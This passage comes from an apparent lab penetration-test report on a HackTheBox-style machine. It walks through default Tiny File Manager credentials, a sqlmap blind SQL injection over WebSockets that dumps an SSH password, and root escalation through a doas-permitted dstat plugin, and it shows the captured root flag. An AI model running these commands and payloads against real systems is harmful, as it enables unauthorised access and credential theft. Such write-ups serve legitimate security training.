dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,
md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,
mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,
ntp,postfix,power,proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,snmp-sys,snooze,squid,
test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,top-io,top-io-adv,top-latency,
top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,
zfs-zil
/usr/local/share/dstat:
htb
dstat was then executed with the custom plugin (--htb) using the doas command.
player@soccer:~$ doas /usr/bin/dstat --htb
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
# whoami
root
#
The final target of the assessment was then easily achieved.
# ls
app root.txt run.sql snap
# cat root.txt
c8762be668ef91bfe23cdd40b14d4280
Technical Findings
1. Use of Default Credentials (Tiny File Manager) - Critical
| CWE | CWE-287: Improper Authentication |
| CVSS 3.1 Score | 9.8 (Critical) |
| Description | The Tiny File Manager application was found to be accessible using the default manufacturer credentials: admin / admin@123. |
| Security Impact | Unauthorised access to the file manager allows an attacker to upload, delete, or modify server files. When combined with the authenticated RCE vulnerability (CVE-2021-45010), this leads to a total compromise of the web server user context. |
| Affected Domain |
|
| Remediation |
|
| External References |
Finding Evidence:
The tester successfully logged into the /tiny/ portal using the default credentials admin / admin@123.
~ [10.10.14.59]
> ssh player@10.10.11.194
The authenticity of host '10.10.11.194 (10.10.11.194)' can't be established.
ED25519 key fingerprint is: SHA256:PxRZkGxbqpmtATcgie2b7E8Sj3pw1L5jMEqe77Ob3FE
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.194' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
player@10.10.11.194's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Jan 7 14:58:22 UTC 2026
System load: 0.0
Usage of /: 71.4% of 3.84GB
Memory usage: 28%
Swap usage: 0%
Processes: 275
Users logged in: 1
IPv4 address for eth0: 10.10.11.194
IPv6 address for eth0: dead:beef::250:56ff:fe94:8063
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jan 6 17:22:40 2026 from 10.10.16.29
player@soccer:~$
2. Blind SQL Injection via WebSockets - Critical
| CWE | CWE-89: Improper Neutralization of Special Elements used in an SQL Command |
| CVSS 3.1 Score | 9.8 (Critical) |
| Description | The id parameter used in the WebSocket-based ticket check on the soc-player subdomain does not properly sanitise user input before including it in a database query. |
| Security Impact | An unauthenticated attacker can perform blind SQL injection to dump the contents of the backend database. In this assessment, this was leveraged to retrieve cleartext SSH credentials for the player user, enabling lateral movement. |
| Affected Domain |
|
| Remediation |
|
| External References |
Finding Evidence:
Manual injection of 1 or 1=1 -- - into the WebSocket request caused the application to return “Ticket Exists” for an invalid ID, confirming the injection.
~ [10.10.14.59]
> sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --technique=B --risk 3 --level 5 --batch --dbs --threads 10 -D soccer_db --dump
___
__H__
___ ___["]_____ ___ ___ {1.9.11#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:53:30 /2026-01-07/
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[09:53:31] [INFO] resuming back-end DBMS 'mysql'
[09:53:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: {"id":"-4080 OR 3890=3890"}
---
[09:53:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8
[09:53:34] [INFO] fetching database names
[09:53:34] [INFO] fetching number of databases
[09:53:34] [INFO] resumed: 5
[09:53:34] [INFO] retrieving the length of query output
[09:53:34] [INFO] retrieved: 5
[09:53:35] [INFO] retrieved: mysql
[09:53:35] [INFO] retrieving the length of query output
[09:53:35] [INFO] retrieved: 18
[09:53:37] [INFO] retrieved: information_schema
[09:53:37] [INFO] retrieving the length of query output
[09:53:37] [INFO] retrieved: 18
[09:53:39] [INFO] retrieved: performance_schema
[09:53:39] [INFO] retrieving the length of query output
[09:53:39] [INFO] retrieved: 3
[09:53:41] [INFO] retrieved: sys
[09:53:41] [INFO] retrieving the length of query output
[09:53:41] [INFO] retrieved: 9
[09:53:42] [INFO] retrieved: soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
[09:53:42] [INFO] fetching tables for database: 'soccer_db'
[09:53:42] [INFO] fetching number of tables for database 'soccer_db'
[09:53:42] [INFO] retrieved: 1
[09:53:42] [INFO] retrieving the length of query output
[09:53:42] [INFO] retrieved: 8
[09:53:44] [INFO] retrieved: accounts
[09:53:44] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[09:53:44] [INFO] retrieved: 4
[09:53:44] [INFO] retrieving the length of query output
[09:53:44] [INFO] retrieved: 5
[09:53:45] [INFO] retrieved: email
[09:53:45] [INFO] retrieving the length of query output
[09:53:45] [INFO] retrieved: 2
[09:53:47] [INFO] retrieved: id
[09:53:47] [INFO] retrieving the length of query output
[09:53:47] [INFO] retrieved: 8
[09:53:48] [INFO] retrieved: password
[09:53:48] [INFO] retrieving the length of query output
[09:53:48] [INFO] retrieved: 8
[09:53:49] [INFO] retrieved: username
[09:53:49] [INFO] fetching entries for table 'accounts' in database 'soccer_db'
[09:53:49] [INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
[09:53:49] [INFO] retrieved: 1
[09:53:50] [INFO] retrieving the length of query output
[09:53:50] [INFO] retrieved: 17
[09:53:52] [INFO] retrieved: player@player.htb
[09:53:52] [INFO] retrieving the length of query output
[09:53:52] [INFO] retrieved: 4
[09:53:53] [INFO] retrieved: 1324
[09:53:53] [INFO] retrieving the length of query output
[09:53:53] [INFO] retrieved: 20
[09:53:55] [INFO] retrieved: PlayerOftheMatch2022
[09:53:55] [INFO] retrieving the length of query output
[09:53:55] [INFO] retrieved: 6
[09:53:56] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
[09:53:56] [INFO] table 'soccer_db.accounts' dumped to CSV file '/home/kali/.local/share/sqlmap/output/soc-player.soccer.htb/dump/soccer_db/accounts.csv'
[09:53:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/soc-player.soccer.htb'
[*] ending @ 09:53:56 /2026-01-07/
3. Insecure Privilege Delegation - High
| CWE | CWE-250: Execution with Unnecessary Privileges |
| CVSS 3.1 Score | 8.8 (High) |
| Description | The doas configuration allows the player user to execute the dstat binary as root without a password. dstat allows for the execution of custom Python plugins, which inherit the caller's privileges. |
| Security Impact | A user with the ability to run dstat as root can execute arbitrary Python code in an elevated context. This directly leads to full system compromise by allowing the user to spawn a root shell. |
| Affected Host |
|
| Remediation |
|
| External References |
Finding Evidence:
The tester created a malicious plugin at /usr/local/share/dstat/dstat_htb.py and executed it via doas /usr/bin/dstat --htb to gain root access.
player@soccer:~$ doas /usr/bin/dstat --htb
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
# whoami
root